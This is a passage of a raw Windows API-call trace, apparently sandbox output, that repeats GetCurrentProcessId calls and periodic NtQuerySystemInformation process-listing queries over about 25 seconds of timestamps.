0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0194.645] GetCurrentProcessId () returned 0x10c0 [0195.313] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e228) returned 0x0 [0196.113] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e228) returned 0x0 [0196.866] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1df90) returned 0x0 [0197.094] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.095] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.096] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.097] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.098] GetCurrentProcessId () returned 0x10c0 [0197.099] GetCurrentProcessId () returned 0x10c0 [0197.099] GetCurrentProcessId () returned 0x10c0 [0197.099] GetCurrentProcessId () returned 0x10c0 [0197.099] GetCurrentProcessId () returned 0x10c0 [0197.820] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1def0) returned 0x0 [0198.952] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1df40) returned 0x0 [0199.743] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dea0) returned 0x0 [0200.436] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dea0) returned 0x0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.464] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.465] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.466] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.467] GetCurrentProcessId () returned 0x10c0 [0200.468] GetCurrentProcessId () returned 0x10c0 [0200.468] GetCurrentProcessId () returned 0x10c0 [0200.468] GetCurrentProcessId () returned 0x10c0 [0200.468] GetCurrentProcessId () returned 0x10c0 [0200.468] GetCurrentProcessId () returned 0x10c0 [0201.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dea0) returned 0x0 [0202.003] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dea0) returned 0x0 [0202.657] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dea0) returned 0x0 [0203.450] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1de50) returned 0x0 [0204.088] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1de00) returned 0x0 [0204.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1de50) returned 0x0 [0205.425] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1de50) returned 0x0 [0205.459] GetCurrentProcessId () returned 0x10c0 [0205.459] GetCurrentProcessId () returned 0x10c0 [0205.459] GetCurrentProcessId () returned 0x10c0 [0205.459] GetCurrentProcessId () returned 0x10c0 [0205.459] GetCurrentProcessId () returned 0x10c0 [0205.459] GetCurrentProcessId () returned 0x10c0 [0205.459] GetCurrentProcessId () returned 0x10c0 [0205.459] GetCurrentProcessId () returned 0x10c0 [0205.459] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.460] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.461] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.462] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.463] GetCurrentProcessId () returned 0x10c0 [0205.464] GetCurrentProcessId () returned 0x10c0 [0206.088] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1de50) returned 0x0 [0207.103] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1def0) returned 0x0 [0207.660] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dea0) returned 0x0 [0208.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dea0) returned 0x0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.385] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.386] GetCurrentProcessId () returned 0x10c0 [0208.970] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1de50) returned 0x0 [0209.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dea0) returned 0x0 [0210.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1df40) returned 0x0 [0211.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1df40) returned 0x0 [0215.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dd60) returned 0x0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.185] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.186] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 